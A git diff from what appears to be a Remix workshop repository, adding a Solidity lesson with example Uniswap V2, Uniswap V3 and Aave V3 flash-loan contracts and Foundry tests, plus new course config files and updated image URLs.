Pair](https://github.com/Uniswap/v2-core/blob/master/contracts/UniswapV2Pair.sol#L159) The `swap()` function of the contract supports flash loans. The code related to the flash loan business is as follows: + +```solidity +function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external lock { + // Other logic... + + // Optimistically send tokens to the address + if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); + if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); + + //Call the callback function uniswapV2Call of the to address + if (data.length > 0) IUniswapV2Callee(to).uniswapV2Call(msg.sender, amount0Out, amount1Out, data); + + // Other logic... + + // Use the k=x*y formula to check whether the flash loan is returned successfully + require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(1000**2), 'UniswapV2: K'); +} +``` + +In the `swap()` function: + +1. First transfer the tokens in the pool to the `to` address optimistically. +2. If the length of `data` passed in is greater than `0`, the callback function `uniswapV2Call` of the `to` address will be called to execute the flash loan logic. +3. Finally, check whether the flash loan is returned successfully through `k=x*y`. If not, roll back the transaction. + +Next, we complete the flash loan contract `UniswapV2Flashloan.sol`. We let it inherit `IUniswapV2Callee` and write the core logic of flash loan in the callback function `uniswapV2Call`. + +The overall logic is very simple. In the flash loan function `flashloan()`, we borrow `WETH` from the `WETH-DAI` pool of Uniswap V2. After the flash loan is triggered, the callback function `uniswapV2Call` will be called by the Pair contract. We do not perform arbitrage and only return the flash loan after calculating the interest. The interest rate of Uniswap V2 flash loan is `0.3%` per transaction. + +**Note**: The callback function must have permission control to ensure that only Uniswap's Pair contract can be called. Otherwise, all the funds in the contract will be stolen by hackers. + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +import "./Lib.sol"; + +// Uniswap V2 flash loan callback interface +interface IUniswapV2Callee { + function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external; +} + +// // Uniswap V2 Flash Loan Contract +contract UniswapV2Flashloan is IUniswapV2Callee { + address private constant UNISWAP_V2_FACTORY = + 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f; + + address private constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F; + address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; + + IUniswapV2Factory private constant factory = IUniswapV2Factory(UNISWAP_V2_FACTORY); + + IERC20 private constant weth = IERC20(WETH); + + IUniswapV2Pair private immutable pair; + + constructor() { + pair = IUniswapV2Pair(factory.getPair(DAI, WETH)); + } + +// Flash loan function + function flashloan(uint wethAmount) external { + //The calldata length is greater than 1 to trigger the flash loan callback function + bytes memory data = abi.encode(WETH, wethAmount); + + // amount0Out is the DAI to be borrowed, amount1Out is the WETH to be borrowed + pair.swap(0, wethAmount, address(this), data); + } + + // Flash loan callback function can only be called by the DAI/WETH pair contract + function uniswapV2Call( + address sender, + uint amount0, + uint amount1, + bytes calldata data + ) external { +// Confirm that the call is DAI/WETH pair contract + address token0 = IUniswapV2Pair(msg.sender).token0(); // Get token0 address + address token1 = IUniswapV2Pair(msg.sender).token1(); // Get token1 address + assert(msg.sender == factory.getPair(token0, token1)); // ensure that msg.sender is a V2 pair + +//Decode calldata + (address tokenBorrow, uint256 wethAmount) = abi.decode(data, (address, uint256)); + + // flashloan logic, omitted here + require(tokenBorrow == WETH, "token borrow != WETH"); + +// Calculate flashloan fees + // fee / (amount + fee) = 3/1000 + // Rounded up + uint fee = (amount1 * 3) / 997 + 1; + uint amountToRepay = amount1 + fee; + + //Repay flash loan + weth.transfer(address(pair), amountToRepay); + } +} + +Foundry test contract `UniswapV2Flashloan.t.sol`: + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +import "forge-std/Test.sol"; +import "../src/UniswapV2Flashloan.sol"; + +address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; + +contract UniswapV2FlashloanTest is Test { + IWETH private weth = IWETH(WETH); + + UniswapV2Flashloan private flashloan; + + function setUp() public { + flashloan = new UniswapV2Flashloan(); + } + +function testFlashloan() public { + //Exchange weth and transfer it to the flashloan contract to use it as handling fee + weth.deposit{value: 1e18}(); + weth.transfer(address(flashloan), 1e18); + // Flash loan loan amount + uint amountToBorrow = 100 * 1e18; + flashloan.flashloan(amountToBorrow); + } + + // If the handling fee is insufficient, it will be reverted. + function testFlashloanFail() public { + //Exchange weth and transfer it to the flashloan contract to use it as handling fee + weth.deposit{value: 1e18}(); + weth.transfer(address(flashloan), 3e17); + // Flash loan loan amount + uint amountToBorrow = 100 * 1e18; + // Insufficient handling fee + vm.expectRevert(); + flashloan.flashloan(amountToBorrow); + } +} +``` + +In the test contract, we tested the cases of sufficient and insufficient handling fees respectively. You can use the following command line to test after installing Foundry (you can change the RPC to another Ethereum RPC): + +```shell +FORK_URL=https://singapore.rpc.blxrbdn.com +forge test --fork-url $FORK_URL --match-path test/UniswapV2Flashloan.t.sol -vv +``` + +### 2. Uniswap V3 Flash Loan + +Unlike Uniswap V2 which indirectly supports flash loans in the `swap()` exchange function, Uniswap V3 supports flash loans in [Pool Pool Contract](https://github.com/Uniswap/v3-core/blob/main/contracts/UniswapV3Pool.sol #L791C1-L835C1) has added the `flash()` function to directly support flash loans. The core code is as follows: + +```solidity +function flash( + address recipient, + uint256 amount0, + uint256 amount1, + bytes calldata data +) external override lock noDelegateCall { + // Other logic... + +// Optimistically send tokens to the address + if (amount0 > 0) TransferHelper.safeTransfer(token0, recipient, amount0); + if (amount1 > 0) TransferHelper.safeTransfer(token1, recipient, amount1); + + //Call the callback function uniswapV3FlashCallback of the to address + IUniswapV3FlashCallback(msg.sender).uniswapV3FlashCallback(fee0, fee1, data); + + // Check whether the flash loan is returned successfully + uint256 balance0After = balance0(); + uint256 balance1After = balance1(); + require(balance0Before.add(fee0) <= balance0After, 'F0'); + require(balance1Before.add(fee1) <= balance1After, 'F1'); + + // sub is safe because we know balanceAfter is gt balanceBefore by at least fee + uint256 paid0 = balance0After - balance0Before; + uint256 paid1 = balance1After - balance1Before; + +// Other logic... +} +``` + +Next, we complete the flash loan contract `UniswapV3Flashloan.sol`. We let it inherit `IUniswapV3FlashCallback` and write the core logic of flash loan in the callback function `uniswapV3FlashCallback`. + +The overall logic is similar to that of V2. In the flash loan function `flashloan()`, we borrow `WETH` from the `WETH-DAI` pool of Uniswap V3. After the flash loan is triggered, the callback function `uniswapV3FlashCallback` will be called by the Pool contract. We do not perform arbitrage and only return the flash loan after calculating the interest. The handling fee for each flash loan in Uniswap V3 is consistent with the transaction fee. + +**Note**: The callback function must have permission control to ensure that only Uniswap's Pair contract can be called. Otherwise, all the funds in the contract will be stolen by hackers. + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +import "./Lib.sol"; + +// UniswapV3 flash loan callback interface +//Need to implement and rewrite the uniswapV3FlashCallback() function +interface IUniswapV3FlashCallback { + /// In the implementation, you must repay the pool for the tokens sent by flash and the calculated fee amount. + /// The contract calling this method must be checked by the UniswapV3Pool deployed by the official UniswapV3Factory. + /// @param fee0 The fee amount of token0 that should be paid to the pool when the flash loan ends + /// @param fee1 The fee amount of token1 that should be paid to the pool when the flash loan ends + /// @param data Any data passed by the caller is called via IUniswapV3PoolActions#flash + function uniswapV3FlashCallback( + uint256 fee0, + uint256 fee1, + bytes calldata data + ) external; +} + +// UniswapV3 flash loan contract +contract UniswapV3Flashloan is IUniswapV3FlashCallback { + address private constant UNISWAP_V3_FACTORY = 0x1F98431c8aD98523631AE4a59f267346ea31F984; + + address private constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F; + address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; + uint24 private constant poolFee = 3000; + + IERC20 private constant weth = IERC20(WETH); + IUniswapV3Pool private immutable pool; + + constructor() { + pool = IUniswapV3Pool(getPool(DAI, WETH, poolFee)); + } + + function getPool( + address _token0, + address _token1, + uint24 _fee + ) public pure returns (address) { + PoolAddress.PoolKey memory poolKey = PoolAddress.getPoolKey( + _token0, + _token1, + _fee + ); + return PoolAddress.computeAddress(UNISWAP_V3_FACTORY, poolKey); + } + +// Flash loan function + function flashloan(uint wethAmount) external { + bytes memory data = abi.encode(WETH, wethAmount); + IUniswapV3Pool(pool).flash(address(this), 0, wethAmount, data); + } + + // Flash loan callback function can only be called by the DAI/WETH pair contract + function uniswapV3FlashCallback( + uint fee0, + uint fee1, + bytes calldata data + ) external { + // Confirm that the call is DAI/WETH pair contract + require(msg.sender == address(pool), "not authorized"); + + //Decode calldata + (address tokenBorrow, uint256 wethAmount) = abi.decode(data, (address, uint256)); + + // flashloan logic, omitted here + require(tokenBorrow == WETH, "token borrow != WETH"); + + //Repay flash loan + weth.transfer(address(pool), wethAmount + fee1); + } +} +``` + +Foundry test contract `UniswapV3Flashloan.t.sol`: + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +import {Test, console2} from "forge-std/Test.sol"; +import "../src/UniswapV3Flashloan.sol"; + +address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; + +contract UniswapV2FlashloanTest is Test { + IWETH private weth = IWETH(WETH); + + UniswapV3Flashloan private flashloan; + + function setUp() public { + flashloan = new UniswapV3Flashloan(); + } + +function testFlashloan() public { + //Exchange weth and transfer it to the flashloan contract to use it as handling fee + weth.deposit{value: 1e18}(); + weth.transfer(address(flashloan), 1e18); + + uint balBefore = weth.balanceOf(address(flashloan)); + console2.logUint(balBefore); + // Flash loan loan amount + uint amountToBorrow = 1 * 1e18; + flashloan.flashloan(amountToBorrow); + } + +// If the handling fee is insufficient, it will be reverted. + function testFlashloanFail() public { + //Exchange weth and transfer it to the flashloan contract to use it as a handling fee + weth.deposit{value: 1e18}(); + weth.transfer(address(flashloan), 1e17); + // Flash loan loan amount + uint amountToBorrow = 100 * 1e18; + // Insufficient handling fee + vm.expectRevert(); + flashloan.flashloan(amountToBorrow); + } +} +``` + +In the test contract, we tested the cases of sufficient and insufficient handling fees respectively. You can use the following command line to test after installing Foundry (you can change the RPC to other Ethereum RPC): + +```shell +FORK_URL=https://singapore.rpc.blxrbdn.com +forge test --fork-url $FORK_URL --match-path test/UniswapV3Flashloan.t.sol -vv +``` + +### 3. AAVE V3 Flash Loan + +AAVE is a decentralized lending platform. Its [Pool contract](https://github.com/aave/aave-v3-core/blob/master/contracts/protocol/pool/Pool.sol#L424) passes `flashLoan The two functions ()` and `flashLoanSimple()` support single-asset and multi-asset flash loans. Here, we only use `flashLoan()` to implement a flash loan of a single asset (`WETH`). + +Next, we complete the flash loan contract `AaveV3Flashloan.sol`. We let it inherit `IFlashLoanSimpleReceiver` and write the core logic of flash loan in the callback function `executeOperation`. + +The overall logic is similar to that of V2. In the flash loan function `flashloan()`, we borrow `WETH` from the `WETH` pool of AAVE V3. After the flash loan is triggered, the callback function `executeOperation` will be called by the Pool contract. We do not perform arbitrage and only return the flash loan after calculating the interest. The handling fee of AAVE V3 flash loan defaults to `0.05%` per transaction, which is lower than that of Uniswap. + +**Note**: The callback function must have permission control to ensure that only AAVE's Pool contract can be called, and the initiator is this contract, otherwise the funds in the contract will be stolen by hackers. + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +import "./Lib.sol"; + +interface IFlashLoanSimpleReceiver { + /** + * @notice performs operations after receiving flash loan assets + * @dev ensures that the contract can pay off the debt + additional fees, e.g. with + * Sufficient funds to repay and Pool has been approved to withdraw the total amount + * @param asset The address of the flash loan asset + * @param amount The amount of flash loan assets + * @param premium The fee for lightning borrowing assets + * @param initiator The address where flash loans are initiated + * @param params byte encoding parameters passed when initializing flash loan + * @return True if the operation is executed successfully, False otherwise + */ + function executeOperation( + address asset, + uint256 amount, + uint256 premium, + address initiator, + bytes calldata params + ) external returns (bool); +} + +// AAVE V3 flash loan contract +contract AaveV3Flashloan { + address private constant AAVE_V3_POOL = + 0x87870Bca3F3fD6335C3F4ce8392D69350B4fA4E2; + + address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; + + ILendingPool public aave; + + constructor() { + aave = ILendingPool(AAVE_V3_POOL); + } + +// Flash loan function + function flashloan(uint256 wethAmount) external { + aave.flashLoanSimple(address(this), WETH, wethAmount, "", 0); + } + + // Flash loan callback function can only be called by the pool contract + function executeOperation(address asset, uint256 amount, uint256 premium, address initiator, bytes calldata) + external + returns (bool) + { +// Confirm that the call is DAI/WETH pair contract + require(msg.sender == AAVE_V3_POOL, "not authorized"); + // Confirm that the initiator of the flash loan is this contract + require(initiator == address(this), "invalid initiator"); + + // flashloan logic, omitted here + + // Calculate flashloan fees + // fee = 5/1000 * amount + uint fee = (amount * 5) / 10000 + 1; + uint amountToRepay = amount + fee; + + //Repay flash loan + IERC20(WETH).approve(AAVE_V3_POOL, amountToRepay); + + return true; + } +} +``` + +Foundry test contract `AaveV3Flashloan.t.sol`: + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +import "forge-std/Test.sol"; +import "../src/AaveV3Flashloan.sol"; + +address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; + +contract UniswapV2FlashloanTest is Test { + IWETH private weth = IWETH(WETH); + + AaveV3Flashloan private flashloan; + + function setUp() public { + flashloan = new AaveV3Flashloan(); + } + +function testFlashloan() public { + //Exchange weth and transfer it to the flashloan contract to use it as handling fee + weth.deposit{value: 1e18}(); + weth.transfer(address(flashloan), 1e18); + // Flash loan loan amount + uint amountToBorrow = 100 * 1e18; + flashloan.flashloan(amountToBorrow); + } + + // If the handling fee is insufficient, it will be reverted. + function testFlashloanFail() public { + //Exchange weth and transfer it to the flashloan contract to use it as handling fee + weth.deposit{value: 1e18}(); + weth.transfer(address(flashloan), 4e16); + // Flash loan loan amount + uint amountToBorrow = 100 * 1e18; + // Insufficient handling fee + vm.expectRevert(); + flashloan.flashloan(amountToBorrow); + } +} +``` + +In the test contract, we tested the cases of sufficient and insufficient handling fees respectively. You can use the following command line to test after installing Foundry (you can change the RPC to another Ethereum RPC): + +```shell +FORK_URL=https://singapore.rpc.blxrbdn.com +forge test --fork-url $FORK_URL --match-path test/AaveV3Flashloan.t.sol -vv +``` + +## Summary + +In this lecture, we introduce flash loans, which allow users to lend and quickly return funds in one transaction without providing any collateral. Moreover, we have implemented Uniswap V2, Uniswap V3, and AAVE’s flash loan contracts respectively. + +Through flash loans, we can leverage massive amounts of funds without collateral for risk-free arbitrage or vulnerability attacks. What are you going to do with flash loans? diff --git a/57_Flashloan/step1/test/AaveV3Flashloan.t.sol b/57_Flashloan/step1/test/AaveV3Flashloan.t.sol new file mode 100644 index 000000000..9e9504ad0 --- /dev/null +++ b/57_Flashloan/step1/test/AaveV3Flashloan.t.sol @@ -0,0 +1,38 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +import "forge-std/Test.sol"; +import "../src/AaveV3Flashloan.sol"; + +address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; + +contract UniswapV2FlashloanTest is Test { + IWETH private weth = IWETH(WETH); + + AaveV3Flashloan private flashloan; + + function setUp() public { + flashloan = new AaveV3Flashloan(); + } + + function testFlashloan() public { + //Exchange weth and transfer it to the flashloan contract to use it as handling fee + weth.deposit{value: 1e18}(); + weth.transfer(address(flashloan), 1e18); + // Flash loan loan amount + uint amountToBorrow = 100 * 1e18; + flashloan.flashloan(amountToBorrow); + } + + // If the handling fee is insufficient, it will be reverted. + function testFlashloanFail() public { + //Exchange weth and transfer it to the flashloan contract to use it as handling fee + weth.deposit{value: 1e18}(); + weth.transfer(address(flashloan), 4e16); + // Flash loan loan amount + uint amountToBorrow = 100 * 1e18; + // Insufficient handling fee + vm.expectRevert(); + flashloan.flashloan(amountToBorrow); + } +} diff --git a/57_Flashloan/step1/test/UniswapV2Flashloan.t.sol b/57_Flashloan/step1/test/UniswapV2Flashloan.t.sol new file mode 100644 index 000000000..0abaec47c --- /dev/null +++ b/57_Flashloan/step1/test/UniswapV2Flashloan.t.sol @@ -0,0 +1,38 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +import "forge-std/Test.sol"; +import "../src/UniswapV2Flashloan.sol"; + +address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; + +contract UniswapV2FlashloanTest is Test { + IWETH private weth = IWETH(WETH); + + UniswapV2Flashloan private flashloan; + + function setUp() public { + flashloan = new UniswapV2Flashloan(); + } + + function testFlashloan() public { + //Exchange weth and transfer it to the flashloan contract to use it as handling fee + weth.deposit{value: 1e18}(); + weth.transfer(address(flashloan), 1e18); + // Flash loan loan amount + uint amountToBorrow = 100 * 1e18; + flashloan.flashloan(amountToBorrow); + } + + // If the handling fee is insufficient, it will be reverted. + function testFlashloanFail() public { + //Exchange weth and transfer it to the flashloan contract to use it as handling fee + weth.deposit{value: 1e18}(); + weth.transfer(address(flashloan), 3e17); + // Flash loan loan amount + uint amountToBorrow = 100 * 1e18; + // Insufficient handling fee + vm.expectRevert(); + flashloan.flashloan(amountToBorrow); + } +} diff --git a/57_Flashloan/step1/test/UniswapV3Flashloan.t.sol b/57_Flashloan/step1/test/UniswapV3Flashloan.t.sol new file mode 100644 index 000000000..f8b01e9c8 --- /dev/null +++ b/57_Flashloan/step1/test/UniswapV3Flashloan.t.sol @@ -0,0 +1,41 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +import {Test, console2} from "forge-std/Test.sol"; +import "../src/UniswapV3Flashloan.sol"; + +address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; + +contract UniswapV2FlashloanTest is Test { + IWETH private weth = IWETH(WETH); + + UniswapV3Flashloan private flashloan; + + function setUp() public { + flashloan = new UniswapV3Flashloan(); + } + + function testFlashloan() public { + //Exchange weth and transfer it to the flashloan contract to use it as handling fee + weth.deposit{value: 1e18}(); + weth.transfer(address(flashloan), 1e18); + + uint balBefore = weth.balanceOf(address(flashloan)); + console2.logUint(balBefore); + // Flash loan loan amount + uint amountToBorrow = 1 * 1e18; + flashloan.flashloan(amountToBorrow); + } + + // If the handling fee is insufficient, it will be reverted. + function testFlashloanFail() public { + //Exchange weth and transfer it to the flashloan contract to use it as handling fee + weth.deposit{value: 1e18}(); + weth.transfer(address(flashloan), 1e17); + // Flash loan loan amount + uint amountToBorrow = 100 * 1e18; + // Insufficient handling fee + vm.expectRevert(); + flashloan.flashloan(amountToBorrow); + } +} diff --git a/AdvancedRemixTopics/config.yml b/AdvancedRemixTopics/config.yml new file mode 100644 index 000000000..4fb466b97 --- /dev/null +++ b/AdvancedRemixTopics/config.yml @@ -0,0 +1,13 @@ +id: advanced-remix-topics +name: Advanced Remix Topics +summary: 'Explore advanced Remix features including upgradeable proxies, static analysis, integrating with HardHat and Foundry, Circom for ZKP, and alternative languages like Vyper.' +level: advanced +tags: +- solidity +- remix +- advanced +- plugins +- tutorial +steps: +- name: Advanced Remix Topics + path: step1 diff --git a/AdvancedRemixTopics/readme.md b/AdvancedRemixTopics/readme.md new file mode 100644 index 000000000..1e8383fd2 --- /dev/null +++ b/AdvancedRemixTopics/readme.md @@ -0,0 +1,3 @@ +# Advanced Remix Topics + +Dive into advanced features and integrations in Remix. This tutorial covers upgradeable contracts, static analysis, framework integrations, ZKP with Circom, and alternative smart contract languages. diff --git a/AdvancedRemixTopics/step1/step1.md b/AdvancedRemixTopics/step1/step1.md new file mode 100644 index 000000000..e2ab3ba89 --- /dev/null +++ b/AdvancedRemixTopics/step1/step1.md @@ -0,0 +1,36 @@ +# Advanced Remix Topics + +## Introduction + +This tutorial explores advanced topics in Remix IDE for experienced developers. You'll learn about upgradeable contracts, static analysis tools, framework integrations, zero-knowledge proofs, and alternative smart contract languages. + +## Topics Covered + +### 1. Upgradeable Proxy +Learn how to deploy and upgrade contracts that use the UUPS (Universal Upgradeable Proxy Standard) pattern. + +![youtube](https://www.youtube.com/embed/t0__aGWSaT0) + +### 2. Static Analysis +Use Slither and Solhint in Remix to analyze your smart contracts for potential security vulnerabilities and code quality issues. + +![youtube](https://www.youtube.com/embed/1CigVWCw7dI) + +### 3. HardHat and Foundry +Use Remix on a HardHat or Foundry project and connect to a local Hardhat or Anvil node for seamless integration with popular development frameworks. + +![youtube](https://www.youtube.com/embed/ZN7CTfy4BDg) + +### 4. Circom +Learn how to use the Circom compiler plugin so you can begin your journey into writing circuits for Zero Knowledge Proofs (ZKP). + +![youtube](https://www.youtube.com/embed/oRTpBhMf3iE) + +### 5. Vyper and Others +Learn to use the Vyper compiler. Also introduces the Cairo compiler and Stylus for Rust contracts. + +![youtube](https://www.youtube.com/embed/vC7alvMe8vY) + +## Next Steps + +These advanced topics will help you build more sophisticated and secure smart contracts, integrate with popular development frameworks, and explore cutting-edge technologies like ZKP. diff --git a/Basics/deploy_injected/README.md b/Basics/deploy_injected/README.md index cc1c41db6..5c8f6d733 100644 --- a/Basics/deploy_injected/README.md +++ b/Basics/deploy_injected/README.md @@ -4,13 +4,13 @@ 3. Getting test ETH for public test networks is often annoying. Ephemery is a public network that is refreshed monthly, so getting test ETH should be painless. Here is a link to some Ephemery faucets. -![](https://raw.githubusercontent.com/ethereum/remix-workshops/master/Basics/deploy_injected/images/testnet.png) +![](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/Basics/deploy_injected/images/testnet.png) Sepolia is another popular testnet that is not refreshed, so deployments will persist, but Sepolia faucets are more difficult to use. In your browser wallet make sure that you have NOT selected mainnet or any network that will cost real ETH. In the Deploy & Run module, below the Environment select box, you'll see a badge with the network's ID and for popular chains, its name. In the case below its Sepolia. -![](https://raw.githubusercontent.com/ethereum/remix-workshops/master/Basics/deploy_injected/images/sepolia.png) +![](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/Basics/deploy_injected/images/sepolia.png) 5. Make sure you see the 2_Owner.sol as a choice in the **CONTRACT** select box, then click the **Deploy** button. diff --git a/Basics/deploy_to_the_remixvm/README.md b/Basics/deploy_to_the_remixvm/README.md index 982797162..853c27049 100644 --- a/Basics/deploy_to_the_remixvm/README.md +++ b/Basics/deploy_to_the_remixvm/README.md @@ -2,7 +2,7 @@ In the previous chapter, we compiled a contract - which is to say the Solidity Now we will put that code on a test blockchain. -1. Click the Deploy and Run icon ![deploy & run icon](https://raw.githubusercontent.com/ethereum/remix-workshops/master/Basics/deploy_to_the_remixvm/images/run.png "deploy & run icon"). +1. Click the Deploy and Run icon ![deploy & run icon](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/Basics/deploy_to_the_remixvm/images/run.png "deploy & run icon"). 2. Select one of the **Remix VM**s from the **Environment** pulldown. diff --git a/Basics/interacting/README.md b/Basics/interacting/README.md index da79cf08b..a453f356e 100644 --- a/Basics/interacting/README.md +++ b/Basics/interacting/README.md @@ -1,11 +1,11 @@ ## Accessing functions in a deployed contract 1. When a contract has been successfully deployed, it will appear at the bottom of the Deploy and Run plugin. Open up the contract by clicking the caret - so the caret points down. -![deploy contract](https://raw.githubusercontent.com/ethereum/remix-workshops/master/Basics/interacting/images/instance.png "deployed contract") +![deploy contract](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/Basics/interacting/images/instance.png "deployed contract") 2. There are 2 functions in this contract. To input the parameters individually, clicking the caret to the right of changeOwner (outlined in red below). In the expanded view, each parameter has its own input box. -![deploy contract](https://raw.githubusercontent.com/ethereum/remix-workshops/master/Basics/interacting/images/deployed_open2.png "deployed contract") +![deploy contract](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/Basics/interacting/images/deployed_open2.png "deployed contract") If this contract had imported other contracts, then the functions of the imported contracts would also be visible here. At some point, try playing with An ERC20 contract to see all its many functions. @@ -16,4 +16,4 @@ If this contract had imported other contracts, then the functions of the importe 5. In the Remix VM, you don't need to approve a transaction. When using a more realistic test environment or when using the mainnet - you will need to approve the transactions for them to go through. Approving a transaction costs gas. 6. Choosing a public network is not done in Remix but in your Browser Wallet. There is a plug icon to the right of the Environment title that links to chainlist.org where you can get the specs of the chain you want to interact with. -![chainlist](https://raw.githubusercontent.com/ethereum/remix-workshops/master/Basics/interacting/images/chainlist.png "chainlist") +![chainlist](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/Basics/interacting/images/chainlist.png "chainlist") diff --git a/Basics/interface_introduction/README.md b/Basics/interface_introduction/README.md index ae4e50365..8f3639be8 100644 --- a/Basics/interface_introduction/README.md +++ b/Basics/interface_introduction/README.md @@ -1,6 +1,6 @@ ## Remix is composed of four panels. -![Remix layout](https://raw.githubusercontent.com/ethereum/remix-workshops/master/Basics/interface_introduction/images/a-layout1c.png "Remix layout") +![Remix layout](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/Basics/interface_introduction/images/a-layout1c.png "Remix layout") - Most plugins appear in the **Side Panel**. - Editing code happens in tabs in the **Main Panel**. @@ -8,8 +8,8 @@ - Switching between plugins happens in the **Icons Panel**. - To make a panel larger, drag its border. -Try clicking the **Solidity Compiler** icon ![](https://raw.githubusercontent.com/ethereum/remix-workshops/master/Basics/interface_introduction/images/solidity-icon.png) in the **Icons Panel**. Then click the **Deploy & Run** icon ![](https://raw.githubusercontent.com/ethereum/remix-workshops/master/Basics/interface_introduction/images/deploy-run.png). Then come back to **LearnEth** by clicking this icon ![](https://raw.githubusercontent.com/ethereum/remix-workshops/master/Basics/interface_introduction/images/learneth.png). +Try clicking the **Solidity Compiler** icon ![](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/Basics/interface_introduction/images/solidity-icon.png) in the **Icons Panel**. Then click the **Deploy & Run** icon ![](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/Basics/interface_introduction/images/deploy-run.png). Then come back to **LearnEth** by clicking this icon ![](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/Basics/interface_introduction/images/learneth.png). -In the **Main Panel** of Remix, make sure you see the **Home** tab. The **Home** tab has lots of useful links. To navigate there, either click the **Home** tab in the **Main Panel** or click the Remix icon ![Remix icon](https://raw.githubusercontent.com/ethereum/remix-workshops/master/Basics/interface_introduction/images/remix-logo.png "Remix icon") on the top of the icon panel. +In the **Main Panel** of Remix, make sure you see the **Home** tab. The **Home** tab has lots of useful links. To navigate there, either click the **Home** tab in the **Main Panel** or click the Remix icon ![Remix icon](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/Basics/interface_introduction/images/remix-logo.png "Remix icon") on the top of the icon panel. -- See all the plugins in the **Plugin Manager**. Click this icon ![plugin manager](https://raw.githubusercontent.com/ethereum/remix-workshops/master/Basics/interface_introduction/images/plugin1.png "Plugin Manager icon") in the lower left corner Remix. \ No newline at end of file +- See all the plugins in the **Plugin Manager**. Click this icon ![plugin manager](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/Basics/interface_introduction/images/plugin1.png "Plugin Manager icon") in the lower left corner Remix. \ No newline at end of file diff --git a/Basics/load_and_compile/README.md b/Basics/load_and_compile/README.md index 99b7a6e75..f4cbec3ad 100644 --- a/Basics/load_and_compile/README.md +++ b/Basics/load_and_compile/README.md @@ -1,17 +1,17 @@ Let's load a file from the File Explorer into the Editor. -1. In the icon panel, click ![file explorer icon](https://raw.githubusercontent.com/ethereum/remix-workshops/master/Basics/load_and_compile/images/files1.png "file explorer icon") , the File Explorer's icon. +1. In the icon panel, click ![file explorer icon](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/Basics/load_and_compile/images/files1.png "file explorer icon") , the File Explorer's icon. 2. Make sure you are in the **default_workspace**. -![default workspace](https://raw.githubusercontent.com/ethereum/remix-workshops/master/Basics/load_and_compile/images/default_workspace_open.png) +![default workspace](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/Basics/load_and_compile/images/default_workspace_open.png) 3. Open the contracts folder and click on **2_Owner.sol** in the contracts folder. Click it. The file will appear in a tab in the main panel. -7. In the icon panel, click the **Solidity Compiler** ![solidity compiler icon](https://raw.githubusercontent.com/ethereum/remix-workshops/master/Basics/load_and_compile/images/solidity1.png "solidity compiler icon"). The Solidity compiler should now be in the side panel. +7. In the icon panel, click the **Solidity Compiler** ![solidity compiler icon](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/Basics/load_and_compile/images/solidity1.png "solidity compiler icon"). The Solidity compiler should now be in the side panel. 8. Click the compile button. -![compile 2_owner](https://raw.githubusercontent.com/ethereum/remix-workshops/master/Basics/load_and_compile/images/compile2owner.png "compile 2_Owner") +![compile 2_owner](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/Basics/load_and_compile/images/compile2owner.png "compile 2_Owner") 9. Compiling can also be triggered by hitting **CTRL + S**. diff --git a/Basics/workspaces/README.md b/Basics/workspaces/README.md index ddb6993b5..fb09b09a6 100644 --- a/Basics/workspaces/README.md +++ b/Basics/workspaces/README.md @@ -2,11 +2,11 @@ If this is your first time to Remix, a Workspace named **default_workspace** is loaded in the File Explorer. -![](https://raw.githubusercontent.com/ethereum/remix-workshops/master/Basics/interface_introduction/images/default_workspace.png) +![](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/Basics/interface_introduction/images/default_workspace.png) The **default_workspace** has three Solidity (.sol) files in the contracts folder. Remix has a number of other templates. When you load a template, it goes into a Workspace. To go between Workspaces, use the select box at the top of the File Explorer. -![](https://raw.githubusercontent.com/ethereum/remix-workshops/master/Basics/interface_introduction/images/select-box.png) +![](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/Basics/interface_introduction/images/select-box.png) But Workspaces are not only for templates. When cloning a repo into Remix, the files will be put into a Workspace. @@ -18,6 +18,6 @@ Let's create a new Workspace 3. In the modal the comes up, choose one of the templates. -![hamburger](https://raw.githubusercontent.com/ethereum/remix-workshops/master/Basics/workspaces/images/popup.png) 